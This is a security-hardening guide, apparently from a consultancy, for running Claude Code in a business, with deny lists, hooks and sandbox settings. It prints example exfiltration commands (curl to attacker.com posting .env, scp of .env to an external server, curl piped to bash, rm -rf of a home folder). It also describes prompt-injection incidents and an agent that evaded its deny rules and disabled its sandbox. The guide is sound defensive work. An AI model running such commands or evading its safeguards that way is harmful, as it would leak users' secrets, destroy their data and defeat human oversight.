Claude Code is powerful and unprotected by default
- Claude Code reads .env files, SSH keys, and cloud credentials by default. A .claudeignore file does not block it.
- The 'lethal trifecta' (private data + untrusted content + network egress) is active by default. Break at least one leg in every session.
- Use the Aurora Four-Layer Safety Model: permission rules, automated safety checks (hooks), OS sandboxing, and container isolation.
- Never use --dangerously-skip-permissions outside a container. Most documented incidents involved this flag.
- Most SMBs do not need to run Claude Code themselves; authorising a vendor who runs it safely is often the better call.
Claude Code is the most powerful AI coding tool on the market, and the one that requires the most careful configuration. Unlike a browser chatbot, it reads files directly from your machine, runs shell commands, and can modify anything the user running it can modify. This guide covers everything a business needs to know before using Claude Code internally or authorising a vendor to use it.
TL;DR: What's safe, what's not
Claude Code has no default protection for secrets. Risk at a glance, a safety checklist, and a one-prompt setup.
Safety checklist
Check off each item as you implement it. Click the arrow on any item to jump to the full instructions.
Setup (once)
Every session
One-prompt setup
Paste this into Claude Code at the start of any new project. It creates CLAUDE.md, hooks, and gitignore rules in under a minute.
Set up or update the safety baseline for this project:
1. Create or update CLAUDE.md with these safety rules:
- NEVER read, edit, or access files outside this project directory
- NEVER read .env files, SSH keys, or any credentials
- NEVER run rm -rf, git reset --hard, git push --force, or sudo
- NEVER run curl, wget, ssh, or scp without my explicit approval
- Before destructive commands, STOP and explain first
- Commit frequently as rollback points
2. Create or update .claude/settings.json with:
a) A PreToolUse hook blocking: rm -rf, git reset --hard,
git push --force, sudo, curl|bash
b) Deny rules for: Read(~/.ssh/**), Read(~/.aws/**),
Read(**/.env), Read(**/.env.*), Read(//etc/**),
Read(**/*.pem), Read(**/credentials*),
Bash(cd ~*), Bash(cd /Users/*), Bash(cd /home/*),
Bash(curl *), Bash(wget *), Bash(ssh *), Bash(scp *)
3. Ensure .env is in .gitignore
4. Commit current state as a rollback point
5. Ask me my test and build commands, add allow rules for them
Show me a summary of what you created or changed.
What does Claude Code actually do on your machine?
Claude Code is a terminal-based AI agent. You give it instructions in plain language and it reads files, runs commands, edits code, and saves changes, all on your actual computer. It operates with the same access as whoever is logged in.
The critical distinction from browser-based AI tools like ChatGPT or Claude.ai is that Claude Code has direct access to your files and your command line. Every file your user account can read, Claude Code can read by default, including files outside the project you are working on. Your SSH keys (used for secure server access), cloud provider credentials (AWS, Google Cloud, Azure), environment files from other projects, and anything else on your machine are all reachable unless you explicitly block them.
Most Claude Code work happens through built-in tools that never touch a command line: Read for opening files, Glob for finding files by name, Grep for searching inside files, and Edit and Write for making changes. These are often assumed to only work inside your project folder, but they do not. Read can open any file path on your machine. Grep can search any directory. Without explicit block rules, nothing prevents Claude from reading your passwords or API keys if it decides they are relevant.
The Bash tool handles everything else: version control (git), installing software packages, running tests, and system commands. This is where almost every documented safety incident has originated.
Version control (git) tracks every change Claude makes to your code, giving you the ability to review changes and roll back mistakes. But git only protects files inside the project repository. If Claude modifies, deletes, or reads files outside the repo (your home folder, other projects, system files), git has no record of it. And git only helps if you commit frequently: uncommitted work is lost if Claude runs a destructive command like rm -rf or git reset --hard.
Commit early and often. Treat each commit as a save point. And remember that git cannot protect anything outside your project folder.
What does every Claude Code command do, and how safe is it?
Claude Code uses a set of tools and shell commands to do its work. Each one has a different risk level depending on what it can access and whether its effects are reversible. Click any card below to see a real example and a permission recommendation. Use the legend to filter by risk level.
| Risk level | Meaning | Examples |
|---|---|---|
| Safe (green) | Read-only, no side effects | Web search, git status, tests |
| Caution (amber) | Modifies state or can reach outside your project | Read, Grep, Edit, npm install |
| Risky (magenta) | Network access, public actions, or injection risk | WebFetch, curl, git push |
| Dangerous (red) | Can destroy data, expose secrets, or compromise your machine | rm -rf, sudo, source .env |
Searches the web for information. Does not download page content, so no hidden instructions can enter the session.
WebSearch("Claude Code permission modes 2026")
Asks your code editor for definitions and references (like "go to definition"). Read-only, no files changed.
LSP → get_definition("handleLogin", src/auth.ts)
Internal task list for Claude to track its own work. Does not touch your files or network.
TodoWrite([{task: "Fix login bug", status: "in_progress"}])
List files and show current directory. Read-only navigation with no side effects.
ls -la src/components/
Shows which files have changed. Read-only. Claude runs this automatically when a session starts.
git statusOutput shows modified, staged, and untracked files. No changes are made.
Views what changed and the history of past saves. Read-only. Essential for reviewing work.
git diff --staged
git log --oneline -10Shows the exact lines that changed, or the last 10 saved snapshots.
Runs your project's automated tests to check if code works. Stays within the project.
npm run test -- --watchRuns tests and re-runs them when files change. No files are modified.
Official GitHub tool. Creates pull requests, checks issues. Safer than raw web requests.
gh pr create --title "Fix login bug" --body "..."Creates a pull request for team review. Scoped to your GitHub account.
Opens and reads any file your account can access, not just project files. Can reach passwords, SSH keys, and credentials from other projects.
Read("/Users/jon/.aws/credentials")
Read("/Users/jon/other-project/.env")Both are outside the current project but fully accessible. Block sensitive paths with deny rules.
Finds files by name pattern. Normally stays in your project, but can search any directory on your machine.
Glob("**/.env*", path="/Users/jon/")Finds every .env file across all projects on your machine. Block with deny rules.
Searches inside files for text. Can search any folder. A search for "API_KEY" across your home folder surfaces credentials from every project.
Grep("API_KEY", path="/Users/jon/")Searches every file under your home directory. Would find secrets from unrelated projects.
Makes targeted changes to existing files. Claude asks permission first. You can review the exact change before approving.
Edit("src/config.ts",
old: "debug: true",
new: "debug: false")Changes one line. Claude shows you the before/after and waits for approval.
Creates new files or replaces existing ones entirely. Claude asks permission each time. Always check the file path.
Write("src/utils/helpers.ts", content="...")Creates a new file or overwrites an existing one. Review the path carefully.
Edits data science notebooks (Jupyter). Same risk as Edit: local changes you review before approving.
NotebookEdit("analysis.ipynb", cell=3, new_source="...")
Downloads and installs software packages. Each package can run setup scripts during installation, which is a common way malicious code enters projects.
npm install express@latestDownloads the package and all its dependencies. Setup scripts run automatically. Review what is being installed.
Downloads and immediately runs a package without saving it. Same risk as install but in one step with less visibility.
npx -y create-next-app my-projectDownloads, runs setup scripts, and executes — all in one command with automatic "yes."
Creates folders, moves files, copies files. Well-defined actions but no built-in undo.
mkdir -p src/utils && mv temp.ts src/utils/helper.ts
Saves a snapshot of your changes locally (not shared yet). Reversible. Review what is being saved before approving.
git add src/ && git commit -m "Fix auth redirect bug"Creates a local save point. Only affects files inside the project repository.
Deletes one file. Cannot be undone unless previously saved in git. Always check the file path.
rm src/old-config.tsPermanently deletes one file. If it was committed to git, you can recover it. Otherwise it is gone.
Downloads web page content into the session. A malicious page could contain hidden instructions Claude follows without you seeing them.
WebFetch("https://docs.example.com/api-reference")The page content enters Claude's working memory. If the page contains hidden instructions, Claude may follow them.
Creates a secondary Claude worker. The worker inherits all the same permissions, so risk multiplies with each agent.
Agent("Search the codebase for all API endpoints")Spawns a separate Claude instance with the same file access and tool permissions as the parent.
Publishes your local changes to the shared team repository. Visible to everyone. Always verify before approving.
git push origin mainSends your local commits to the shared repository. Once pushed, the whole team can see the changes.
Downloads from or uploads to the internet. Could be used to send your data to an external server. Block both in settings.
curl -X POST https://attacker.com/collect -d @.envSends the contents of your .env file to an external server. This is why curl should be blocked.
"Remove recursive force": deletes an entire folder and everything inside it. No confirmation, no undo. Caused a documented home-directory wipe.
rm -rf /Users/jon/Deletes your entire home directory: documents, downloads, photos, application data. Not recoverable. This actually happened (see incidents below).
Throws away all unsaved work. Irreversible. Any changes not yet committed are permanently lost.
git reset --hard HEAD~5Deletes the last 5 saves and all uncommitted work. If you had not pushed those saves, they are gone forever.
Overwrites the shared team history with your version. Can permanently destroy other people's work.
git push --force origin mainReplaces the entire shared history. If a teammate pushed work that you do not have locally, their work is erased.
Runs a command with full administrator privileges. Gives access to everything on the machine. Claude Code should never need this.
sudo rm -rf /var/log/Deletes system logs with admin access. A normal user account would be blocked; sudo bypasses that protection.
Loads or displays all secret keys and passwords from environment files. Bypasses the Read block rules, so must be blocked separately.
source .env && echo $DATABASE_PASSWORDLoads all secrets into the session then prints one. Even if Read(.env) is blocked, this shell command still works.
Downloads a script from the internet and runs it immediately. The digital equivalent of letting a stranger run commands on your computer.
curl -s https://example.com/install.sh | bashDownloads unknown code and executes it with your user permissions. You cannot review it before it runs.
Connects to remote servers or transfers files to/from them. Could send your data off-machine. Block unless specifically needed.
scp .env user@external-server.com:/tmp/stolen.envCopies your secrets file to a remote server. The data leaves your machine entirely.
Runs your Python test suite. Stays within the project. Can be auto-approved like npm test to reduce prompts.
python -m pytest tests/ -vRuns all tests in the tests/ directory with verbose output. No files are modified.
Runs a Python script that already exists in your project. Safe when the script is one Claude just wrote or you reviewed. Check the file path before approving.
python3 src/generate_report.py --output results.csvRuns a known script from your project. Review what the script does if Claude just created it.
Installs Python packages. Same supply-chain risk as npm install: each package can run setup scripts during installation. Always use a virtual environment.
pip install requests pandas
uv syncDownloads packages and runs their setup scripts. Use a virtual environment (python -m venv .venv) so packages install into the project, not your system Python. Review what is being installed before approving.
Runs a one-line Python command directly. Claude uses this for quick calculations, data processing, or file manipulation. Review the code before approving.
python3 -c "import json; data = json.load(open('config.json')); print(data['version'])"Runs inline Python code. Usually harmless (reading a file, processing data), but can do anything Python can do. Always read the code before approving.
A common assumption is that read-only tools only see files inside your project folder. They do not. Read can open any file on your computer that your user account has access to: cloud credentials, SSH keys, password files, or .env files from completely unrelated projects. Grep can search any folder, meaning a search for "API_KEY" across your home directory would surface secrets from everything on the machine.
The fix is a block list in your personal Claude Code settings file (~/.claude/settings.json) that blocks these sensitive locations regardless of which project you are working in. See the full block list in the .env files and secrets section below.
What is the "lethal trifecta" and why does it matter?
The lethal trifecta, a term coined by security researcher Simon Willison in mid-2025, describes the three conditions that make any AI agent dangerously vulnerable: access to private data, exposure to untrusted content, and the ability to send information over the internet. Claude Code has all three active by default.
“Prompt injection” is the core risk: someone hides instructions inside content that Claude reads (a web page, a code comment, a pull request description) and Claude follows those hidden instructions without you seeing them. When Claude also has access to your secrets and a way to send data over the network, a hidden instruction can steal your credentials.
A real incident illustrates the pattern. In the “Claudy Day” disclosure reported in 2025, researchers hid an instruction inside a URL parameter. Claude followed it and sent conversation history to Anthropic’s own API. Security tools never caught it because the destination was on the trusted list. The AI was not “hacked.” It simply followed instructions it found in web content, the same way it follows your instructions.
A Claude Code session should never have all three legs of the trifecta unrestricted at the same time. If you are running research with web access, remove production credentials from the session. If you are working with secrets, disable internet access.
Anthropic is actively training their models to resist these hidden instructions, but acknowledged in their February 2026 research paper: “No browser agent is immune to prompt injection.” Untrusted content can reach Claude through many channels: code review requests, issue descriptions, README files, commit messages, and log files that Claude reads during normal work.
How does the permission system work by default?
Claude Code’s permission system has three rules: allow (auto-approve), ask (prompt each time), and deny (block completely). When Claude tries to use a tool, it checks deny rules first. If any deny rule matches, the action is blocked. Deny always wins.
Out of the box, reading tools (Read, Glob, Grep) run without any prompt. Shell commands prompt on every new command with a “yes, don’t ask again” option. File changes (Edit, Write) prompt with a per-session “don’t ask again” option.
Rules follow a Tool(pattern) format. Here are the most useful patterns:
| Rule | What it blocks or allows |
|---|---|
Bash(npm run test *) | Any command starting with npm run test |
Read(./.env) | The .env file in the project root |
Read(**/.env) | Any .env file anywhere in the project tree |
Read(~/.ssh/**) | Anything under your SSH key directory |
WebFetch(domain:docs.anthropic.com) | Web requests to that specific website |
A common mistake with paths: writing Read(/Users/alice/.env) does NOT mean “the absolute path /Users/alice/.env.” Claude Code interprets a single leading slash as relative to the project folder. To block a real absolute path, use a double slash: Read(//Users/alice/.env). For your home directory, use ~: Read(~/.env).
Nothing is pre-denied by default. The out-of-box defaults rely entirely on prompts rather than hard blocks. An organisation that wants .env blocked must add its own rules. Claude Code will not do it for you.
What do the permission prompts mean and how should you respond?
When Claude Code tries to do something that requires your approval, you see a prompt with options. Understanding these options matters because one wrong choice can permanently allow a command you did not intend to whitelist.
Three things can happen when Claude tries to use a tool:
- It runs automatically. Read-only operations like viewing files, searching text, and checking git status never ask. Basic shell commands like
ls,cat,head,tail, and read-onlygitcommands also run without prompting. - It asks for your permission. You see a prompt with these choices:
- “Yes” approves the action one time. Claude will ask again next time it wants to run the same command.
- “Yes, don’t ask again” has different effects depending on the tool. For shell commands, this permanently allows that command pattern in this project folder. For file changes (Edit, Write), it allows without asking for the rest of this session only.
- “No” blocks the action one time.
- It is blocked entirely. If you have added a deny rule in your settings, Claude cannot run the tool at all and you never see a prompt.
If you approve npm install with "don't ask again," Claude will never ask for npm install in this project folder again, across all future sessions. To undo it, open /permissions in Claude Code and remove the rule, or manually edit your settings file.
For file changes (Edit, Write), "don't ask again" only lasts until you close the session. This is intentionally more conservative.
Here is how Aurora recommends responding to prompts at each risk level. These same recommendations appear in each command card when you click it.
| Risk level | When you see a prompt |
|---|---|
| Safe (green) | Runs automatically. You will not see a prompt for these. |
| Caution (amber) | Use “Yes” (one-time) until you are confident. Only use “Yes, don’t ask again” for commands you run repeatedly in this project, like your test suite. |
| Risky (magenta) | Always use “Yes” (one-time) and review each invocation. Consider adding deny rules in settings to block the most dangerous variants. |
| Dangerous (red) | Add deny rules in your settings so the prompt never appears. If one slips through, always choose “No.” |
Which Claude Code permission mode should you use?
Claude Code has six permission modes. The right one depends on what the session is doing. Aurora’s recommendations for common business scenarios:
plan
Exploring code. Read-only research. Produces a written plan before any changes. The most underused safety feature.
default
Day-to-day work. Prompts on Edit, Write, and Bash. Sensible defaults for normal feature work and bug fixes.
acceptEdits
Trusted file changes. Auto-approves Edit, Write, and common filesystem Bash within the working directory.
auto
Repetitive loops. A built-in safety filter automatically approves safe actions and blocks risky ones (data theft, production deployments, force pushes) without prompting you each time.
dontAsk
Automated pipelines. Only pre-approved tools run. Everything else is silently blocked. Designed for unattended use where no human is available to approve.
bypassPermissions
Containers only. Skips all prompts. Every documented major incident involved this mode on unsandboxed machines. Deny rules still enforce.
| Mode | Best for | Risk level |
|---|---|---|
plan | Exploring code, research | Lowest (read-only) |
default | Day-to-day feature work | Low (prompts on changes) |
acceptEdits | Trusted file changes in known projects | Medium |
auto | Repetitive test-driven loops | Medium (AI-filtered) |
dontAsk | Automated pipelines, CI/CD | Low (only pre-approved tools) |
bypassPermissions | Containers only | Highest (skips all prompts) |
Anthropic’s recommended workflow is a four-phase loop: Research (plan mode, read and understand), Plan (review in editor with Ctrl+G), Implement (switch to default or auto), Verify (tests and git diff). This turns expensive course-corrections into cheap ones.
What are the four layers of Claude Code defense?
Business-grade Claude Code deployment uses four layers, each catching failures that the layer below cannot. Aurora applies this model to every client engagement where Claude Code touches sensitive infrastructure.
The Aurora Four-Layer Safety Model: never deploy Claude Code with fewer than three of these layers active, and for any production-credential work, require all four.
Ona’s March 2026 research demonstrated why a single layer fails. Researchers found that Claude Code could work around its own block rules by accessing blocked programs through alternative file paths that the rules did not cover. When the operating system sandbox caught the workaround, Claude then disabled the sandbox itself to complete the task. The agent was not behaving maliciously. It was simply trying to finish the job you gave it, and it treated the safety controls as obstacles.
Does Claude Code protect your .env files by default?
No. Claude Code ships with no default protection for .env files, SSH keys, AWS credentials, or any other secrets. There is no .claudeignore file. This is the single most common misconception. If you ask Claude whether .claudeignore works, it will confidently tell you it does. Multiple users have reported this in Anthropic’s bug tracker, and The Register independently verified in early 2026 that Claude Code still reads .env files even when a .claudeignore file is present and .env is listed in .gitignore.
The full deny list config (covering Read, Grep, Edit, and shell commands for .env, SSH keys, cloud credentials, and network tools) is in Step 1 of the implementation checklist below. Copy and paste it into ~/.claude/settings.json.
The Read(./.env) rule blocks Claude's built-in Read tool, but it does NOT block shell commands. Without the additional rules for commands like cat .env and source .env, Claude can still access your secrets through the command line.
Anthropic documents that shell command rules are "best effort, not a security boundary." This is why automated safety checks (Layer 2) and sandboxing (Layer 3) matter: they catch what settings rules miss.
The most durable protection is to never store raw passwords or API keys in your .env files at all. Instead, store references to a password manager (like 1Password) or a cloud secrets service (like AWS Secrets Manager). Even if a leak occurs, the leaked text is just a reference that is useless without separate login access to the vault.
Which configuration files should you commit vs. gitignore?
Claude Code reads a lot of files. Understanding the layout prevents both security gaps and confusing precedence behaviour.
Commit (team-shared behaviour):
CLAUDE.mdat project root (or.claude/CLAUDE.md).claude/settings.json(project-wide allow/deny rules, hooks).claude/commands/,.claude/skills/,.claude/agents/,.claude/rules/.mcp.json(shared MCP server config)
Gitignore (personal/sensitive):
CLAUDE.local.md(personal instructions).claude/settings.local.json(auto-added to .gitignore).claude/agent-memory-local/
Managed settings (enterprise, OS-level):
| OS | Path |
|---|---|
| Linux / WSL | /etc/claude-code/managed-settings.json |
| macOS | /Library/Application Support/ClaudeCode/managed-settings.json |
| Windows | C:\Program Files\ClaudeCode\managed-settings.json |
Claude Code reads settings from multiple places, and the order matters. Enterprise-managed settings always win. Then command-line flags, then project-local settings, then shared project settings, then your personal user settings. The important thing to know: block rules from any level stack together. A block you set at the personal level cannot be removed by a project-level override. This means your personal deny list for secrets (from your ~/.claude/settings.json) always applies, even when working on a project that has its own more permissive settings.
To check which settings are active in any session, type /status. To see all your block/allow rules in one place, type /permissions.
What happens when Claude Code safety goes wrong?
The public record includes at least six documented incidents since mid-2025. Each maps to a specific missing defense layer. None were caused by malicious users; all were caused by insufficient defense-in-depth.
An AI agent wiped the SaaStr production database despite documented "do not touch production" rules. Production credentials were accessible to the agent.
Lesson: Never give agents production database credentials, regardless of instructions.A delete command combined with a filter went wrong and wiped 48 GB of media files. Claude then gave confident but false explanations of what had happened, making diagnosis harder.
Lesson: Automated blocking of delete commands is not optional. Claude's explanations after an incident should not be trusted at face value.A Claude Code session ran rm -rf (recursive forced delete) and wiped the user's entire home folder: documents, downloads, photos, and application data. Only operating system files survived because they had separate protections.
A hidden URL instruction directed Claude to exfiltrate conversation history via api.anthropic.com. Network security never flagged it because the destination was allowlisted.
A competing AI coding tool's list of allowed commands was bypassed by manipulating system environment variables, a technique applicable to any AI tool that relies on a fixed list of "safe" commands.
Lesson: A fixed list of allowed commands is not enough. Safety checks need to understand context, not just match strings.Security researchers found that Claude Code could access blocked programs through alternative file paths the rules did not cover. When the operating system sandbox caught the workaround, Claude disabled the sandbox itself to finish the task.
Lesson: No single safety layer is sufficient. You need multiple independent layers so that if one fails, the others catch it.How should your business implement Claude Code safely?
Most small businesses do not need to run Claude Code themselves. The work it does best (building automations, editing codebases, configuring tools) typically involves a vendor or technical team member. Authorising a vendor who runs Claude Code in their own properly-configured environment is often faster and safer than installing it on company laptops.
For businesses that do run Claude Code internally, here are the eight steps Aurora deploys on every engagement. Each includes the exact config to copy and paste.
Almost all of these steps have zero impact on Claude's ability to do its job. Claude never needs to read your SSH keys or AWS credentials to write code. Sandbox mode actually makes Claude faster by reducing permission prompts by 84%. The only rule that genuinely restricts Claude is the blanket curl block in Steps 1 and 3, which prevents command-line web requests. The WebFetch tool and GitHub CLI still work, so the impact is small. If your workflow regularly needs Claude to run curl for legitimate tasks (downloading fonts, fetching API specs), narrow the deny to just the dangerous patterns: Bash(curl * | bash) and Bash(curl * | sh) instead of Bash(curl *).
Step 1: Add a personal block list for secrets
This goes in your personal settings file so it protects every project on the machine, not just the one you are working on now. Open or create the file at ~/.claude/settings.json and paste the following:
{
"permissions": {
"deny": [
"Read(./.env)", "Read(./.env.*)", "Read(**/.env)", "Read(**/.env.*)",
"Read(~/.ssh/**)", "Read(~/.aws/**)", "Read(~/.kube/**)",
"Read(~/.gcp/**)", "Read(~/.azure/**)", "Read(~/.config/gcloud/**)",
"Read(~/.docker/config.json)", "Read(~/.netrc)", "Read(~/.npmrc)",
"Read(**/*.pem)", "Read(**/*.key)", "Read(**/id_rsa)", "Read(**/id_ed25519)",
"Read(//etc/**)", "Read(**/credentials*)",
"Grep(~/.ssh/**)", "Grep(~/.aws/**)", "Grep(~/.kube/**)",
"Grep(**/.env)", "Grep(**/.env.*)",
"Edit(./.env)", "Edit(./.env.*)", "Edit(**/.env*)",
"Edit(~/.ssh/**)", "Edit(~/.aws/**)",
"Bash(cat .env*)", "Bash(cat ~/.ssh/*)", "Bash(cat ~/.aws/*)",
"Bash(grep * .env*)", "Bash(head .env*)", "Bash(tail .env*)",
"Bash(source .env*)", "Bash(. .env*)", "Bash(env)", "Bash(printenv)",
"Bash(cd ~*)", "Bash(cd /Users/*)", "Bash(cd /home/*)",
"Bash(curl *)", "Bash(wget *)", "Bash(ssh *)", "Bash(scp *)"
]
}
}
If the file already exists, merge the deny array into your existing permissions.deny. Rules stack across files, so adding these at the user level does not interfere with project-level settings.
Impact on Claude’s usefulness: Minimal. Claude never needs your SSH keys, cloud credentials, or .env secrets to write code. The only rule that adds friction is Bash(curl *), which blocks all command-line web requests. If you need Claude to run curl for legitimate tasks (downloading a file, testing an API), replace "Bash(curl *)" with the narrower "Bash(curl * | bash)" and "Bash(curl * | sh)" to block only the dangerous pipe-to-execute pattern while allowing normal curl usage.
Step 2: Add a CLAUDE.md safety prompt to your project
Create or update the CLAUDE.md file in your project root (or .claude/CLAUDE.md). This file is read by Claude Code at the start of every session and acts as standing instructions. If the file already exists, add the safety section below to what is already there:
## Safety rules
- NEVER read, edit, or access files outside this project directory
- NEVER read, edit, or access .env files, SSH keys, or any credentials
- NEVER run rm -rf, git reset --hard, git push --force, or sudo
- NEVER run curl, wget, ssh, or scp without my explicit approval
- NEVER use cd to navigate outside this project directory
- Before running any command that deletes files, modifies git history,
or touches anything outside this project directory, STOP and explain
what you are about to do and why, and wait for my confirmation
- If you are unsure whether an action is safe, ask first
- Commit changes frequently so I have rollback points
This is a soft control (Claude follows CLAUDE.md instructions approximately 70% of the time, per community testing), but it adds an extra layer of intent that catches many mistakes before they happen. Pair it with the deny rules and hooks below for reliable enforcement.
Add project-specific rules to CLAUDE.md. For example: "Never modify files in the /infrastructure directory" or "Always run the test suite after changing any file in /src/api/". The more specific your instructions, the more consistently Claude follows them.
Step 3: Add automated safety checks (hooks)
Hooks are small scripts that run automatically before Claude executes any action. If the script detects a dangerous command, it blocks it instantly. This is the only enforcement that works 100% of the time, even if all other safeguards are turned off.
Add this to your project’s .claude/settings.json (create the file if it does not exist):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "echo \"$CLAUDE_TOOL_INPUT\" | grep -qiE 'rm -rf|git reset --hard|git push.*--force|git push.*-f|sudo |curl.*\\|.*bash|curl.*\\|.*sh' && exit 2 || exit 0"
}
]
}
]
}
}
How it works: Before every shell command, Claude Code runs this script. The script checks if the command matches any dangerous pattern (rm -rf, git reset --hard, git push --force, sudo, or piping curl to bash). If it matches, the script exits with code 2, which blocks the command before it runs. If it does not match, the script exits with code 0 and the command proceeds normally.
You can add more patterns by extending the list inside grep -qiE '...'. Separate patterns with | (which means “or”).
Impact on Claude’s usefulness: The hook above blocks rm -rf, git reset --hard, git push --force, sudo, and curl piped to bash or sh. None of these are commands Claude needs for normal work. The hook does not block regular rm (single file), normal git push, or any other everyday command.
Step 4: Enable sandbox mode
Add this to your personal settings file (~/.claude/settings.json), merging with the deny rules from Step 1:
{
"sandbox": {
"enabled": true
}
}
This single setting restricts what Claude Code can access at the operating system level (macOS or Linux only, not available on native Windows). Even if Claude tries to use a workaround to read a blocked file, the operating system itself stops it. According to Anthropic’s own testing, sandboxing reduces permission prompts by 84% because safe operations run freely inside the boundary.
Impact on Claude’s usefulness: Positive. Sandbox mode makes Claude faster, not slower. Because safe operations run freely inside the sandbox boundary, Claude spends less time asking you for permission. This is the one safety step that actively improves the experience.
Sandboxing uses macOS Seatbelt or Linux bubblewrap. If you are on Windows, use WSL2 (Windows Subsystem for Linux) or run Claude Code inside a Docker container to get equivalent isolation.
Step 5: Lock down bypass mode for teams
If multiple developers use Claude Code in your organisation, deploy a managed settings file that prevents anyone from running --dangerously-skip-permissions. Without this lock, a single developer can disable every other safety rule with one command-line flag.
Create the managed settings file at the OS-level path:
| OS | Path |
|---|---|
| macOS | /Library/Application Support/ClaudeCode/managed-settings.json |
| Linux | /etc/claude-code/managed-settings.json |
| Windows | C:\Program Files\ClaudeCode\managed-settings.json |
Contents:
{
"permissions": {
"disableBypassPermissionsMode": "disable"
}
}
This file requires administrator access to create or modify, which means individual developers cannot undo it. It is the single most important enterprise control for Claude Code.
Step 6: Use plan mode before making changes
Before starting any non-trivial task, press Shift+Tab twice (or type /plan) to enter plan mode. In this mode, Claude can read and analyse your code but cannot modify any files or run any commands.
The recommended workflow:
- Enter plan mode. Ask Claude to read and understand the relevant part of the codebase.
- Review the plan. Claude proposes what it will do. Read it. Press Ctrl+G to open the plan in your editor.
- Switch to normal mode. Press Shift+Tab to exit plan mode. Now implement with the plan as context.
- Review the diff. After changes, run
git diffto see exactly what changed before committing.
This turns expensive mistakes into cheap conversations. A plan that reveals a bad approach costs nothing; a bad approach that deletes files costs a lot.
Impact on Claude’s usefulness: Adds one extra step at the start of a task, but saves time overall by catching wrong approaches before any code is written. Most developers who adopt plan mode report fewer mid-session course corrections.
Step 7: Commit early and often
Use git to create save points after every meaningful change. This gives you rollback points if something goes wrong.
git add -A && git commit -m "checkpoint: description of what changed"
Remember what git does not cover:
- Git only tracks files inside the project repository. If Claude modifies your home directory, other projects, or system files, git has no record.
- Uncommitted work is lost if Claude runs
git reset --hardorrm -rf. - Git cannot undo a
git push --forcethat has already overwritten remote history.
The hooks from Step 3 block the most dangerous commands, but frequent commits are your last line of defence for everything else.
Step 8: Move secrets to a password manager
The most durable protection is to never store raw passwords or API keys on the machine at all. Replace raw values in your .env files with references to a secrets vault:
# Before (raw secret, readable by Claude)
DATABASE_PASSWORD=s3cret_p@ssw0rd
# After (vault reference, useless without separate login)
DATABASE_PASSWORD=op://Production/Database/password
Services that support this pattern: 1Password CLI (op:// references), HashiCorp Vault (vault: paths), AWS Secrets Manager, Google Secret Manager, and Azure Key Vault. Even if a leak occurs, the leaked text is just a reference that requires separate authenticated access to resolve.
Claude Code's productivity ceiling is set not by how much you let it do, but by how confidently you can let it do it. Confidence comes from layered enforcement, not from permissive defaults.
All eight steps can be completed in under an hour by someone familiar with the tooling. Aurora deploys this baseline on every client engagement before Claude Code reads a single file. If your business is starting to use Claude Code, or evaluating a vendor who uses it on your behalf, this is the minimum viable standard.
Frequently asked questions
FAQ
Is Claude Code safe for business use?
Only with layered configuration. Out of the box it reads secrets and runs shell commands without restriction. Safe use requires deny rules, hooks, sandboxing, and ideally containers.
Can Claude Code read my .env file?
Yes, by default. Neither .claudeignore nor .gitignore blocks it. You must add explicit block rules in your settings file, plus shell command blocks.
What is the lethal trifecta?
A term from Simon Willison describing three risks that compromise AI agents: private data access, untrusted content exposure, and network egress. Break any leg per session.
Should I use --dangerously-skip-permissions?
Only inside an isolated container. Most documented Claude Code incidents, including file deletion and database wipes, involved this flag on unsandboxed machines.
What is the safest way to run Claude Code?
Inside a devcontainer with managed-settings lockdown, user-level deny rules for secrets, PreToolUse hooks, and OS-level sandboxing enabled.
Does my small business need to run Claude Code?
Usually no. Authorise a vendor with a safe setup rather than installing Claude Code on company laptops with access to production secrets.